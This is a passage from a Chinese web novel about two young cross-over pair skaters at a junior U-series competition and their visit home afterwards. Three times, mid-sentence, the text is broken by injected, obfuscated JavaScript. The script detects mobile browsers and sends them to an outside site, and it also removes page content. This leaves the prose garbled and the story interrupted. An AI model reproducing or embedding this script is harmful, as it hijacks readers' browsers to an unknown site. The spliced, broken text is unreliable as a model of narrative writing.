贺嘉岁问:“我这不会是水土不服的新症状吧。” “你这是健康过剩。” “真的?” 她直起身气沉丹田,体会正常人的感觉。 但要允许正常人偶尔失常。 次日的五级自由滑,贺嘉岁差点再拿一个严重失误。 没等教练兴师问罪,她直接低头坦诚:“我的联跳做得不好。” “你失误得不明不白。”辛成林摊手。 1A+1T+1Lo,她在近一周训练的成功率是百分之百。 “我差点做成六级的要求联跳。” 六级自由滑要求1A+2T。 她平时要练步法和自由滑共四套节目,头脑发热很正常。 好在起跳的瞬间,她意识到节奏不对,才强制压了2T的高度,以过周1T的质量落冰,再接后外结环一周。 “跳跃是你的强项,你一定不能栽在强项里。” 好在旋转和接续步给力,她抱着录像分析不出大问题,应该能顺利过关。 六人组此次出征,通过率刷满。 林风致和辛嵘搭伴过了冰舞一级,提前完成目标。 “去庆祝吗?” “吃什么?” “好吃的!” 林风致拉帮结派,凑齐人头。 但辛嵘是JGP选手,有兴奋剂检测在身,平时需要注意饮食。 大家幻想着酒楼的苏锡菜,最终只能被迫下楼,拐进酒店的餐厅。 林风致扶额苦笑:“多落魄啊。” “今晚有焖面、炒面、清蒸海鲜,”贺嘉岁的眼睛一亮,“还有老火靓汤。” 对比拿出三明治干啃的辛嵘来说,已经够幸福了。 庆功会从餐厅转场到房间。 没有训练,没有教练,一群孩子有够放肆。 辛嵘原本还想当个表率,但发现没人搭理,最后也同流合污。 男生们扒着窗台看星星,阴云飘过来,城市又下起阵雨。 他们只能挪了视线,看窗外的各种风景。 女孩们带了游戏,从扑克牌玩到大富翁。 “应逢年,飞行棋三缺一。”贺嘉岁喊。 “飞行棋有什么好玩的。” 应逢年嘴里嘟囔着,但随叫随到。 一晃时间,该犯困了。 不知谁低骂一句:“十一点了,别玩了。” 一颗石子激起千层浪。 棋盘瞬间翻下床,各有各的慌乱。 他们忘了一件重要的事。 教练要陪俱乐部里的学员参加亚洲青年花滑挑战赛,临走嘱咐他们,务必完成全国花滑大奖赛U系列的报名。 这次报名的时间又短又急,距离截止还有一个小时整。 “手机,谁的手机用完了?” 六个人,两部手机,资源紧缺。 “这里。”林风致递给贺嘉岁。 报名以组合为单位,贺嘉岁输入自己的名字,又添加应逢年的身份信息。 这样就算完成? 她手快点了提交。 真是有惊无险的一天。 “好像不太对,”应逢年又看了看辛嵘的操作,“我们不该报双人滑。” “我们是双人滑组合,不报双人滑,那报什么?”她愣怔。 林风致也正襟危坐:“跨界跨项被划成单独的项目。” 意思就是,他们选错了参赛组别。 有伙伴打开滑协发布的规程,让他们放宽心。 “没关系,规程写得清清楚楚,报名少年组需获得国家等级测试六级及以上证书。” 报名时需上传相关材料。 贺嘉岁和应逢年还没来得及考六级,不满足参与本场少年组的条件,报名信息会被打回来。 就当什么都没发生,无伤大雅。 另一个伙伴提出异议。 “规程也说了,跨界跨项选材的运动员不受考级要求限制。” 咚—— 又是一颗石头。 没落进湖水,像砸在心上。 贺嘉岁接过手机,把规程完整看了遍。 他们说的都对。 难道自己卡了漏洞,成了规程的意料之外? 她和应逢年像个bug。 Bug怎么能运作呢? “我发邮件问了,”辛嵘念出工作人员的回复,“这是为响应选材政策,鼓励跨界运动员勇敢尝试,所以没有设限。” 林风致接腔:“滑协已经收到你们的报名信息,再补报跨界组就行。” Bug居然运作了。 28. U系列少年赛·不止一窟兔子^^…… 进入国庆假期,国内多地依然暑气未减。 贺嘉岁和应逢年混着游客抵达深圳,不停念叨“到家了”。 “啊,这熟悉的海风。”林风致扔下行李箱,对着人潮大鹏展翅。 “机场哪来的海风。” “心里装着海,到哪都能吹风。” 深圳离滨南不远,孩子们在出发前就计划,比赛结束后各自回家。 其他人把行程报备给教练,也收到审批回执,直到回北京前,都是自由时间。 贺嘉岁和应逢年就有些够呛。 手滑报错名,他们平白多出两场比赛,到假期结束才能缓口气。 “不想参加?”林风致瞥见贺嘉岁的羡慕嫉妒,“简单啊,退赛。” “不退。” 玩归玩,闹归闹,别拿退赛开玩笑。 “这种级别的比赛,临时退出的人海了去了,大家都这么干。” “但这是我们为数不多的机会。” 这几年,跨界选材的政策基本完善,他们似乎被圈入和普通运动员相平行的体系。 可以参赛,但得在专门的组别。 如果不是那次机缘巧合,他们可能永远被限定在跨界组里。 所以将错就错,多个舞台也求之不得。 贺嘉岁想,她更想和专业运动员较量。 …… 简单试了两天冰,第一天是跨界组的表演,参赛运动员的年纪普遍不大,人还不少。 工作人员吆喝着报到,只通行卡就发了二十分钟。 他们顶着太阳站在广场上,眼睛自然耷拉。 林风致捏着手套来回扇动,试图制造凉风。 “怎么会有这么多跨项来的运动员。” 周围是五湖四海的方言。 被同化出东北口音的居多,乡音难改的西北人也有,有的运动员手上老茧还没变黄,看着刚从高低杠上下来。 这项政策的推广确实成功。 在此之前,他们完全不知道彼此的存在,只认为自己是夹克衫们唯一选中的兔子。 号码牌和通行卡一并发到手里,贺嘉岁将胶布贴在腰间。 跨界组混淆双人滑和冰舞,更像一场大型冰演,她和应逢年是第三十二号,在全场压大轴。 “又是最后一个。”她撇嘴。 上次全国青少年赛的压轴,让她有不小的心理压力。 “没办法,谁让我们差点忘记报名。” 教练走出阴凉地,皱眉道:“别人都忙着热身,你们在这儿当雕塑?” 此前他带队参加洲际赛,俱乐部获得的成绩不太好看,他一连气了两个月,干什么都和吃了炮仗似的。 林风致小声嘀咕:“我们只有一套表演自由滑,感觉没有热身的必要。” “每场比赛都值得认真对待,”辛成林打断她,“去绕着广场跑两圈。” 贺嘉岁把林风致拉走。 “连辛嵘哥哥都没说什么。” 辛嵘月底才参加了JGP捷克站,中转两趟航班回国,昨天刚入住酒店,时差还没倒过来。 运动员检录进入后场时,志愿者盯着他,半天才找回声音。 “我就说,世界上怎么会有第二个辛嵘。” 上个月替华夏出征青年组的A级赛事,今天出现在深圳的商业冰场,参加跨界跨项组表演自由滑。 很割裂的经历,居然发生在一个人身上。 贺嘉岁和应逢年跟在他们身后,目睹太多工作人员的侧目打量。 他们似乎都想问出那句话。 “你要转项吗?”有人终于勇敢发问。 辛嵘笑着回:“没有转项的想法,给朋友搭个伴。” 有滑协的官员趁着空闲,绕来选手区:“辛嵘,你爸怎么不抓着你琢磨三周半,反倒让你带跨项运动员?” 这话里话外,好像责怪他无视泾渭分明。 “冰舞能精进步法,我觉得很有收获。”辛嵘很坦然。 “你该把重心放在提升跳跃难度上。” 他在JGP捷克站的排名一般,以170.24分的成绩位居全场第十。 除去其他主观因素,他没有3A和四周跳傍身,上限不高。 辛嵘耐心点头:“正在练。” “对,”官员满意他的回答,“每天多练两小时,咱们以后也可以上奥运。” 贺嘉岁把他们的对话听得一字不落。 以前和辛嵘在同一个冰场训练,没有外人干扰,她只认为他是个技术不错的男单运动员。 今天一看,他在国内还有不小名气。 “那个老头是谁?”林风致好奇。 “执委会的代表,这次被派来督赛。” 执委会,听起来高大上,像他们一辈子都接触不到的神秘组织。 “他好像很关心你。” “他是我爸的朋友。” “他还希望你能练出三周半。” “那是不想我在国际赛场上丢脸。” 林风致问个不停,辛嵘也都一一回答。 他认为自己收到的所有关注和赞美来自于父亲的光环,来自华夏花滑运动员的头衔。 独不是因为他自己。 贺嘉岁觉得他有些悲观,想和应逢年印证这个想法,转眼却看他已经偷偷练开。 “拉韧带不叫我?”她挑眉。 应逢年瞪回去:“我看你沉迷在故事里。” “这是理由吗?” 她决定,等会开胯往死里踩。 …… 跨界组的人真多啊。 二十二对选手被分为五组,从日头正热比到夕阳西下。 贺嘉岁还没上场,有人已经准备从现场离开。 她问了声:“现在场上的最高分是多少?” 女孩被吓一跳,疑虑在脑子里转了遍,才回答:“他们不打分。” “不打分?” “对,满地乱爬也没有分。” 难怪叫表演自由滑,表演性质,竞技为零。 志愿者敲响休息室的门:“最后一组选手准备上场。” 清冰时间过去,落地窗外只剩下尚没收尽的余晖,天幕的蓝调越来越厚。 “第三十一号林风致/辛嵘,代表北京市冬运中心。” 听见辛嵘的名字,原本计划离开的选手们都围在板墙外。 这是他们距离知名运动员最近的一次。 “配乐像动画片里的歌。” “虽然看不懂冰舞,但感觉女生跟不上他的步伐。” “辛嵘滑了十多年,女生应该和我们一样,道行当然差得远。” 节目多长,他们就讨论了多久。 直到音乐结束,倚着栏杆的路人一哄而散,孩子们把出入口让开,目光始终追随。 “第三十二号贺嘉岁/应逢年,代表北京市冬运中心。” 到他们了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914668|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贺嘉岁挤出人群,想踏进冰场。 “摘刀套。”应逢年把她拽回来。 许久没有比赛,乍登场还有些激动,她忘了必需环节。 “谢谢提醒。” 踩着刀套上冰的痛,谁摔谁知道。 来到冰场中央,刀齿定住位置,《MoonRiver》*自带时间痕迹,像从唱片机里流淌出来。 滑协对跨界组的节目没做要求,但贺嘉岁和应逢年还是提交了短节目的音乐,技术动作也按少年组的规定申报。 一段提琴演奏,歌者的声音响起,贺嘉岁和应逢年在手拉手滑行后进入第一个技术动作,2组手握腰托举。 男伴的手臂不完全伸直,但看女伴被托起的高度,比上个赛季富裕。 下法很流畅。 而后是捻转一周。 贺嘉岁的腾空高度勉强,应逢年接住她时,有些砸在肩上,导致女伴落冰仓促。 [We`reafterthesamerainbow`sendwaitingroundthebend(我们守望在彩虹之端的河畔).] 进入不换足的单人联合旋转,六圈基础蹲姿,变直立姿态后又躬身旋转,随后滑出。 音乐被推向中段,月光倾泻,和其他弦乐交融,织成一条河。 重音落下,2Lz单跳带起两段交错弧线,在歌者爆发时,他们以前内括弧步顺势进入接续步。 直到渡到月亮河的对岸,接续步以两圈捻转结束。 停冰再起步,完成前内螺旋线。 他们仍然没有掌握这个技术,以贺嘉岁的内刃燕式提刀代替。 提琴重新带来温柔,歌嗓逐渐淹没在其中,他们跪在冰面,像徜徉在这片月亮河。 没有观众席的小场地,他们在走出节目,听见远道而来的掌声。 “这首歌好听,像音乐剧!” 有路人不吝赞美,大声地捧歪了场。 行礼退场,林风致等在板墙外,有些忿忿不平。 “明明你俩也滑得很流畅。” 辛嵘安慰她:“外行看热闹。” 戴刀套时,贺嘉岁有些惋惜:“我还想看看自己的赛季首秀能得多少分呢。” 比了赛却不打分,真是奇怪的设置。 有道声音越来越近。 “满足你的愿望。” 有求必应,和林/辛节目里的阿拉丁神灯似的。 辛教练嘴里还咬着笔帽,刚从裁判区回来。 “我把你们的技术动作做了简单记录。” 解锁平板,他打开备忘录,六个技术动作在纸上呈现。 冒号后是一大串问题。 [2Li2*:男伴转体和滑行不流畅。] [1Tw1:砸肩,进入节奏不合。] [2Lz:同步性较差。] [CoSp2:转速不一致。] [StSq2:浅用刃,小气。] [FiDs2:不具备低姿。] 好嘛,每个动作都有问题。 “我这和考试后对答案有什么区别。” 全是错误答案。 何况今天只是前菜,后天还有考试。 她把平板还回去。 辛成林没接:“拉到最底端,还有我给的技术分。” “等完赛再揭晓吧。” 后天将开始少年甲组的竞争,他们还有两套节目完成。 29. U系列少年赛·摘掉这个标签^^…… 林风致他们倒是解放了,在酒店装作依依不舍。 “我会想你的。” 她把从餐厅顺走的纸巾当手绢,假哭半天也没挤出一滴泪。 贺嘉岁嘴角一撇:“就回去三天。” 她一点都不羡慕。 林风致清点随身的包袱,家里来电催促,她利落地合上行李箱。 贺嘉岁从身后递出一个细长锦盒。 “把这个也带上。” “像装奖杯的盒子。” “差不多,”她正经说,“就在万象城挑的,小小心意。” “哟,”林风致一挑眉梢,揶揄说,“有生之年,能等到贺嘉岁给我送礼物。” “别把我想得那么抠门。” 得到默许,她打开盒盖,胸腔涌上一声短促的笑:“锦旗?” 不对。 她握着木柄,红绸展开也没多大,金穗子在半空乱扫。 是面流动红旗。 和学校教室里常年挂着的一样。 只是班级一行写着“林风致女士及家属”,“卫生标兵”变成了“妙手回春”。 贺嘉岁扣着手:“等我什么时候拿到工资,再给你补一面锦旗。” 人在无语时真的会笑。 林风致几度想开口,都被手里堪称滑稽的礼物哽住。 “那是你体质好,喝两个月的药就能调理。” “药是你抓的,也是你熬的。” 贺嘉岁怎么也要把功劳按在她头上。 楼下响着突兀的喇叭,把房间的氛围搅乱。 “真得走了,”林风致收好礼物,扬手道,“北京见。” 见辛嵘也跟着,贺嘉岁顺口问:“辛嵘哥哥要去哪?” “和我回滨南转转。” 背影转进电梯,下行的提示音恍惚传到耳边,她才和应逢年憋出一句: “哇哦。” …… 今天没有他俩的比赛,但冰场得照去。 一是抽签决定明天的出场顺序,二是完成文化测试。 应逢年检查问:“洗手了吗?” “还挤了一泵洗手液。”贺嘉岁搓了搓手指。 自从上次自找了个地狱开局,她就没敢再让应逢年玩拼手气游戏,凡事亲力亲为。 “第一组第五个,好位次。” “好在哪?”应逢年看着签纸,“这次是小组内抽签,咱们抽到小组最后一个。” “总比黄花菜都赶不上热乎的好。” 听辛嵘说,比赛的出场顺序很重要,一定程度上会影响节目内容分。 贺嘉岁觉得,自己在选择范围内做到了最好。 不用离开座位,测试直接在室内进行。 工作人员回收纸条后,紧接下发题卷,满满当当四页纸。 她和应逢年寒窗苦读一上午,快把自己逼成语数英全面开花的小战士。 就为这一刻。 贺嘉岁交卷早,有些选手还没翻页,她已经信步走出会议室,身后闹出不小动静。 应逢年求稳,大概又要写满一个小时。 她在门外等得无聊,坐地上揪自己的头发玩。 直到交卷铃打响。 “怎么样?” 她看他的脚步沉重,心里不太乐观。 “一般。” “双人滑算的是我俩的平均分,”贺嘉岁心里打鼓,“你可别拖我后腿。” “我觉得只能拿九十多分。” “啊?” 安慰的话堵在嘴里,她提起两颊。 这家伙又开始信心过剩。 在冰场逗留的两个小时,丙组女单即将完赛,工作人员将文化测试的成绩张贴在公告栏。 这一曲实在乏味,贺嘉岁很容易被密密麻麻的表格吸引。 她走过去。 “我们是第一!” 碍于场上的表演,她只能在心里欢呼,摁着边角朝应逢年招手。 “快来看,我们是第一。” 旁边还有更小的孩子,以为她没明白比赛规则,好心提醒:“这只是文化测试的分数,不是最后的比赛成绩。” “对,”她的嘴角仍然高高翘着,“我和搭档拿了89分,是第一。” “文化测试只在总成绩里占十分之一。”对方补充道。 贺嘉岁点头。 对呀,那也是第一。 争不了比赛的馒头,就在这里争口气。 …… 少年甲组的各项选手都不多,双人滑满打满算也就十对。 早场试冰结束后,双人滑比赛直接开始。 贺嘉岁/应逢年计划的表演曲目仍然是前天的《MoonRiver》,技术动作也一样。 那天比赛结束后,辛教练就把他们的表演视频发给了金荞麦。 前辈忙,昨天才发回反馈,附了些改进建议。 但时间紧迫,除了再磨一磨同步性,他们来不及针对建议纠正错处。 金荞麦当然也理解。 比起这个,她更担心他们的赛前心态,发了好长一串语音。 “你们和专业选手不一样,没有压力,没有输不起的,放开滑就行。” 这是她的总结陈词。 但这话并没有起到鼓励作用。 贺嘉岁当即就回拨电话:“前辈,我们也是专业选手,你要一视同仁。” 金荞麦愣了会儿,才笑着说:“好,那就让我看看你们的专业。” 前面四对组合上场又下场,滑什么的都有,尤其一首《LetItGo》,引发全场共鸣。 这种脍炙人口的曲子,尽管是商场匆匆路过的顾客,也能跟着哼唱几句。 轮到贺嘉岁/应逢年上场,周围略显冷清。 不过也有凑了几天热闹的观众,他向别人解说:“这好像是前天那对,当时还在业余组。” 业余,又是业余。 明明已经在冰上训练了两年,却还总被看做一窍不通的旱鸭子。 她想摘掉这个标签。 亮相,在场中刹停。 同样的场地响起同样的音乐,只是今天的月亮河没有映照月光。 贺嘉岁觉得,今天的自己滑得格外用劲,身上的每个细胞都想证明能力。 一场滑下来,应逢年都喊疼。 她抢先声明:“我可没挠你。” 应逢年亮出证据。 抛跳和捻转时,她短暂支撑他的手腕准备进入,抓了两个红手印。 是她全神贯注时无意使出的力道。 下场就是等分区。 等待打分的时间漫长,辛成林直接道出今天的问题。 “你们的捻转和跳跃都足周,整体的动作质量比前天好些,”他停顿两秒,转折说,“但今天滑得太紧,让人以为你俩在打擂台,完全失去节目的美感。” 花滑是用肢体表达,而不能用蛮力,比谁凿的冰坑更深。 应逢年揽下担子:“我热身没到位。” “这不只是你的问题。” “她的热身也没到位。” 辛成林知道这是借口,起因经过他都猜得七七八八。 “贺嘉岁,专业运动员不能带着气上赛场。” 贺嘉岁抬头看他,这是她第一次感到被认可。 “那专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923133|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业运动员该是什么样的?”她问。 行业似乎默认把考级等同判定专业的标准。 步法和自由滑均达到七级能被授予三级运动员证书,双八级是国家二级运动员,双十级能拿健将。* 运动员…… 这问题把辛成林也问住了。 他仰着头想了想,承认说:“当运动员确实会受很多气。” 来自冰迷的质疑,来自裁判的打压,来自团队的不配合,这些状况时有发生。 “我们可以咽不下这口气,那就学会把它提起来,”他摊开掌面,手臂抬高,“这样才能有托起自己的力气。” 这话有些深奥。 孩子们不能立刻做到咀嚼消化,只是埋着头,各自思考道理。 “贺嘉岁/应逢年,短节目技术分12.16分,节目内容分12.81分,总分24.97分。” 播报员念出他们的名字和分数,短暂停顿,又为下一组选手报幕。 这不太合贺嘉岁的理想。 他们苦练一个赛季,掌握的技术和难度都比之前更高,但进步没在分数上体现。 “比上个赛季还低。”她皱着鼻子。 应逢年纠正:“要高0.3分。” “才0.3分。”她还是摇头。 “你想拿多少?” “起码30分吧。” “这是我们的赛季首秀,你不给自己成长的空间吗?” “比起成长,我更想一步跨到终点。” 她做梦都想穿越到十年后,看自己是否拿遍花滑赛事的奖牌,让所有人信服。 …… 次日再到冰场,告示栏仍然贴着他们的文化成绩。 少年组细分甲、乙、丙三个组别,四项拢共六十来号人,贺嘉岁和应逢年的名字遥遥排在最顶端。 但昨天还空白的地方又张贴了新东西,是短节目的小分表。 贺嘉岁数了数。 她和应逢年排在十对选手的第九位,倒数第二。 少年甲组不乏出色的运动员,同台竞技的还有即将升入青年组的小高手。 按照原计划,自己的名字根本不会出现在名单里。 但既然决定搅浑水,那就不达目的不罢休。 他们将在第一组第二位登场。 冰面刚清理过,六练热身时,水渍还没干透。 “可能会脚滑,等会小心。”应逢年说。 “该小心的是你,那是你的跳跃区。” 首先登场的组合表现不佳。 选手的年纪和他们相仿,难度也差不多,但几乎每个动作都出现失误。 是连贺嘉岁都能当即判断出的失误。 应逢年逐渐放心:“退一万步讲,我们不会是最后一名。” 她不理解他为什么昂首挺胸地说出这句话。 “这也不值得骄傲吧。” 要是在以前,落选体校的三好学生都够她郁闷好几天。 果然,花滑是个无底洞。 不仅烧钱,连带着把底线也拉低了。 “还在聊天,”辛成林不知何时出现在身后,一人赏了一记脑瓜崩,“动作都记熟了吗?给我背一遍。” 还没张嘴,上一组的分数公布。 “没这机会了。” 贺嘉岁呲着牙看教练吹胡子瞪眼,自己先溜一步。 应逢年对她的大胆叹为观止:“你真是不顾三分钟后的死活。” “对呀,要是你没表现好,咱俩就一起赴死。” 说得壮烈。 应逢年哼笑,他还能有表现不好的时候? “您瞧好吧。” 30. U系列少年赛·就你叫应逢年? 自由滑选曲《春天的芭蕾》*,开场是一段原地的华尔兹舞步。 两人转身分手滑出,卡着歌词进入2组托举。 动作质量和短节目相近,男伴旋转圈数足够,女伴在落冰后接上完成引带的两圈捻转步,拿到二级。 自由滑的捻转和短节目的不太相同。 他们加入了连续莫霍克的难度进入,在滑出时增加了一个小托举,实时也能定在二级。 第三个技术动作,后外结环两周的抛跳。 这个动作不在短节目的规定范围内,贺嘉岁和应逢年在今早试冰时才捡起来。 但和教练说的一样,他们在训练中逐渐放下个人本位,对搭档建立信任,才会一个敢抛,一个敢借力完成跳跃。 最终呈现出高远度俱佳的2LoTh。 余下的勾手两周单跳、双人联合旋转和前外螺旋线的发挥平稳,技术分拿到17.44分。 两套节目共61.86分。 贺嘉岁和应逢年咬耳朵:“裁判给的分数比教练大方。” 两分多钟的节目,滑下来有些累,她的目光放空,耳朵自然而然跟着应逢年走。 他再次标榜自己的预言家身份:“看吧,我们确实不是最后。” 也不是倒数第二。 有文化测试的分数加持,他们的排名再上升一位,实现反超。 贺嘉岁不禁感动:“难怪大家都说知识能当饭吃。” 倒数第二和倒数第三的性质可不一样。 只要他们再进一步,就能摆脱“倒数”的尴尬名号。 “但你们不能指望这百分之十的分数。” 辛成林也站在告示栏前,像孩子堆里的灯塔。 文化测试是滑协规定的比赛环节,却不是所有比赛都适用。 近年的地区赛和商业赛越来越多,也没见把这门测试一并推广。 相比运动员的全面发展,他们更想看到纯粹的竞技成绩。 强就是强,弱就是弱。 何况第一梯队不像末流的难舍难分,难度和成绩都等级分明,交白卷和满分毫无影响。 山腰之上,会越来越难爬。 贺嘉岁点点头:“我明白。” 赛后的休息区忙乱,找不到家长的,找不到教练的,甚至有找不着鞋的。 有孩子为雷同的刀套起争执,惊动冰场另一岸的裁判。 评判节目之余,还要充当公道。 贺嘉岁注意到一身眼熟的西装,和穿着的人不相称,勉强系上的扣子随时在被崩掉的边缘。 西装男没插手孩子们的矛盾,脚步一转,向他们走来。 “老辛。” 听声音,贺嘉岁想起来,这是催辛嵘练3A的执委会官员。 他背着手,开门见山:“这是你的爱徒?” “对。” 官员挺了挺肚子,表示对自己的认可:“我还是火眼金睛。但你从教十多年,什么时候带过双人滑。” 辛成林在年轻时是男单运动员,曾经入选过国家队,但终其职业生涯,也没得到多少大赛机会。 他的儿子继承衣钵,比他幸运,前路也更光明。 官员倏地低头,目光从贺嘉岁和应逢年的脸上扫过。 他有些迟疑:“这是跨界选材那批?” 辛成林是铁打的单人滑教练,在俱乐部时,没少劝人坚持单人滑。 以好友的了解,他不会无缘无故插手双人滑的梯队。 辛成林颔首:“从别人手里接过来的摊子,应该会一直带下去。” “这不是你的强项。” “上面实在找不到人。” 国家冬管中心的政策一出,领导们在全国搜罗了百来号人,分批次插在不同的训练基地,教练成为稀缺资源。 “这是晋升的机会,好好干,”西装拍了拍好友的肩膀,又拧了把应逢年的脸颊,“你们也是,好好滑。” “他们成长得很快,刚过了六级。” 虽然平时总说他们没练到极限,但面对外人,辛成林不吝夸奖。 西装把眼睛撑得溜圆。 “六级?这才多久。” “两年。”贺嘉岁回答。 对方重新眯起双眼,计算两年完成双六级的可信度。 应逢年应和:“真是两年。” 大人果然是世故的大人,第一反应居然在质疑消息的真假。 他和贺嘉岁怎么可能说假话。 西装收起笑容,郑重地说:“去试试少锦赛吧。” “少锦赛?” 少年组的全国锦标赛,含金量可比U系列高。 贺嘉岁问:“少锦赛不是有考级要求吗?” “你们怎么报名今天的比赛,就怎么报名今后的比赛。” 她张着嘴。 原来跨界选材是把万|能|钥|匙。 …… 在冰场耽搁许久,贺嘉岁才换回来时的行头,都怪西装官员拉着他们说了太多。 走出休息室,双人滑的颁奖礼早已结束,清冰车完成运作,工作人员放入下一批运动员。 关于他们比赛的种种,被新的冰痕覆盖。 她拎着鞋包走在前面,冷不防被应逢年拽住。 “干嘛?” “那是不是我干爸?”应逢年压低声音。 贺嘉岁首先不信。 双人滑项目结束,其他比赛才刚开始,非运动员和教练团队怎么会出现在内场。 还是距离滨南几十公里的陌生城市。 但她顺着应逢年的手指看去,靠着墙柱的男人仰头小憩,腿边放了个公文包,爱莎公主贴纸是她幼时的杰作。 “爸爸。” 她走过去。 惊讶还有余波,得花好几秒去接受。 赛前,爸爸还说自己正在出差,现在却出现在她比赛的现场。 她有多久没见过爸爸。 贺先生的睡眠浅,但路上奔波太累,挣扎了好一会才睁开眼。 “嘉岁。” 贺嘉岁忍着鼻酸:“爸爸,您怎么出差到商场来了?” 贺先生把女儿搂在怀里。 “很难猜吗?” “难猜死了。”她懂装不懂。 有东西硌着她的肩膀,她低头看,是张卡片。 “你的教练先离开,我找他要了通行卡,”贺先生描述,“他很警惕,让我证明我是贺嘉岁的爸爸。” “你怎么证明的?” 贺嘉岁一笑,差点吹出鼻涕泡。 “我说没办法,嘉岁长得像妈妈。” “只是这样?” 应逢年好奇:“但教练依然把通行卡给您了。” 贺先生点头:“教练说,我提到嘉岁时,有发自内心的骄傲。” 所以辛成林选择相信。 煽情煽得够了,贺嘉岁觉得气氛黏黏糊糊。 她退出爸爸的怀抱:“我们接下来去哪?” 这个问题本该有答案。 明天收假,他们得赶飞机回北京。 “我顺便给教练请了几天假,让你们回滨南住两天。” “又请假。” 请假好,贺嘉岁正愁没蹉跎假期的机会。 但他们总是请假,难免影响训练进度。 真是甜蜜的烦恼。 一旁的应逢年就是个没心没肺的:“我的假也请了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934604|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “肤浅。”贺嘉岁给他飞了一记眼神刀。 “你想和叔叔走吗?”贺先生问。 应逢年点头如捣蒜:“当然,您是我亲干爸。” 贺嘉岁看不惯他这副狗腿样。 “陶渊明都不为五斗米折腰。” 一米六的大孩子,还不如她稳重。 应逢年殷勤地提上公文包,摇头晃脑:“听不懂你的书袋。” …… 高速走了一个小时,出站就是滨南。 贺嘉岁眼睛都不愿眨:“一点都没变。” 贺先生瞥了眼后视镜:“逢年,你家在哪?先送你回去。” 应逢年摇头:“家里只有我爸,不过他应该在某个工地上。” “那跟我们回家?” “好。” 他的回答很干脆,仿佛一开始就这么想。 贺嘉岁扒着车窗:“到体校了。” 红灯转绿,汽车路过熟悉的校牌。 那是他们离校前,校领导新挂的牌匾,当时的字还金灿灿。 目光放远,体校最具标志性的大楼还矗立在那里,不知三姓家奴又被哪个专业占领。 总之,不会是散在记忆里的舞蹈班。 应逢年看她还没挪开眼,问道:“舍不得?” 贺嘉岁“嗯”了声:“这辈子的荣誉都是在体校拿到的,是该舍不得。” “你以后会跟着我拿金牌,别放不下了。” 她收回视线。 应逢年没听出她的玩笑,说得一本正经,在她看来有些滑稽。 就像《喜剧之王》里周星驰的那句“我养你啊”。 “我还是靠自己拿金牌吧。”她说。 “我们是搭档,金牌不分你我。” “得分清楚,万一某人靠失误搅浑水,会耽误我的冠军大业。” 应逢年说不过,捡她的话讲:“那某人也别耽误我的冠军大业。” 一个没留意,贺先生听见后座的声音大起来,像有干架的阵仗。 他当起和事佬:“有话好好说。” “当然,”贺嘉岁立马换了副面孔,“我们相亲相爱。” …… 小区绿化像回炉重造过,贺嘉岁不记得门口的椰子树。 保安亭也扩建了,挂着“便民服务点”的牌子。 “贺先生,”远远就有保安打招呼,“今天下班真早。” 贺先生颔首。 “怎么还有两个孩子?” “是我女儿和她的朋友。” “您有女儿啊。” 保安亭还有其他人,也探出脑袋看稀奇。 看来保安也换了一茬。 终于到家,贺嘉岁只想瘫在沙发上。 “你是谁?这是我家。” 阳台突然传来陌生的声音,把她吓一跳。 “你是谁?这是我家。” 不是幻听。 “爸爸,闹鬼了!” 爸爸还在爬楼梯,她只能拿应逢年当掩护。 家里怎么还有其他人。 “不是人,”应逢年循声望,“是只鹦鹉。” 鹦鹉? 爸爸什么时候有养鹦鹉的的兴致了。 她探头,鹦鹉也正盯着他们。 “哎呀,好累。” “今天的汤好喝。” “嘉岁怎么又不接电话。” 它的思维有些混乱,语言像故障的磁带机,调到哪说哪。 贺先生解释:“它嘴碎,就爱学我说话。” 应逢年胆子大,也不怕它越来越密的语言攻击,步步走过去。 “就你叫应逢年?”他扬着下巴。 31. 去莫斯科的办法 “别想占便宜,”贺嘉岁健步上前,挤在一人一鸟之间,“它随我姓,姓贺。” 应逢年把名字咂摸咂摸,撇嘴说:“念着真别扭。” 鹦鹉甩着脑袋:“你才别扭。” “没礼貌。” “我饿了,要吃饭。” 应逢年觉得这语气熟悉,一看答案就在身边:“贺嘉岁,它的脾气随你。” “你的脾气也随我。” 打开电视的功夫,应逢年已经和鹦鹉握手言和,东一句西一句地扯,不像头一回做客。 贺嘉岁听不懂他们在说什么,转头去骚扰贺先生。 厨房炖着鸡汤,她老早就闻到了。 “爸爸,您学会做饭了?” “会些家常菜。” “怎么把自己养得这么好。” 以前她在家时,爸爸只会煲汤料,起锅烧油的菜式经常糊锅底。 她好奇地掀开锅盖一角,粉丝扇贝、豉油鸡、白灼菜心…… 好像也不需要特别精进的厨艺。 贺先生发话:“厨房油烟重,你去找逢年玩。” “不了,他正在和同名鹦鹉称兄道弟。” 客厅传来哀嚎。 